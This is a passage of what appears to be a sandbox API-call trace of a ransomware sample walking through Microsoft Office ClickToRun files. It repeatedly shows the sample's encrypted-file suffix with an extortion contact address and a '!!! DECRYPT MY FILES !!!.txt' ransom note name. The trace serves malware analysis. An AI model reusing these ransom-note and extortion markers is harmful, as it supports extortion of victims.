shared\\ClickToRun\\mso30win32client.dll", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 1 [0107.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll") returned 0x4e [0107.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.875] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.875] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.875] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0107.875] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll", len=0x48 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 1 [0107.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll") returned 0x48 [0107.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.875] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.875] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.875] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0107.876] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll", len=0x50 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 1 [0107.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll") returned 0x50 [0107.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.876] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.876] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.876] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0107.876] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 1 [0107.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll") returned 0x4d [0107.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.876] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.876] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.877] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0107.877] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll", len=0x46 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 1 [0107.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll") returned 0x46 [0107.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.877] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.877] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.877] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0107.877] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll", len=0x46 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 1 [0107.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") returned 0x46 [0107.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.877] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.878] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.878] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.878] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0107.878] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll", len=0x46 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 1 [0107.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll") returned 0x46 [0107.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.878] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.878] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.878] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0107.878] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 1 [0107.879] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") returned 0x4d [0107.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.879] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.879] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.879] GetProcessHeap () returned 0x630000 [0107.879] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6998b8, Size=0x28) returned 0x699a98 [0107.879] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0107.879] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 1 [0107.879] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll") returned 0x4a [0107.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.879] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.879] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.880] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0107.880] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 1 [0107.880] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe") returned 0x4e [0107.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.880] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.880] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.880] GetProcessHeap () returned 0x630000 [0107.880] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x2c) returned 0x6ed6268 [0107.880] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0107.880] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", len=0x52 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 1 [0107.880] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml") returned 0x52 [0107.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.881] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.881] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.881] GetProcessHeap () returned 0x630000 [0107.881] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6268, Size=0x30) returned 0x6ed60a8 [0107.881] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0107.881] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", len=0x54 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 1 [0107.881] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml") returned 0x54 [0107.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.881] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.881] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.882] GetProcessHeap () returned 0x630000 [0107.882] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed60a8, Size=0x34) returned 0x6d5000 [0107.882] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0107.882] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 1 [0107.882] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll") returned 0x4a [0107.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0107.882] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0107.882] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0107.882] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0107.882] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll", len=0x46 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 1 [0107.882] 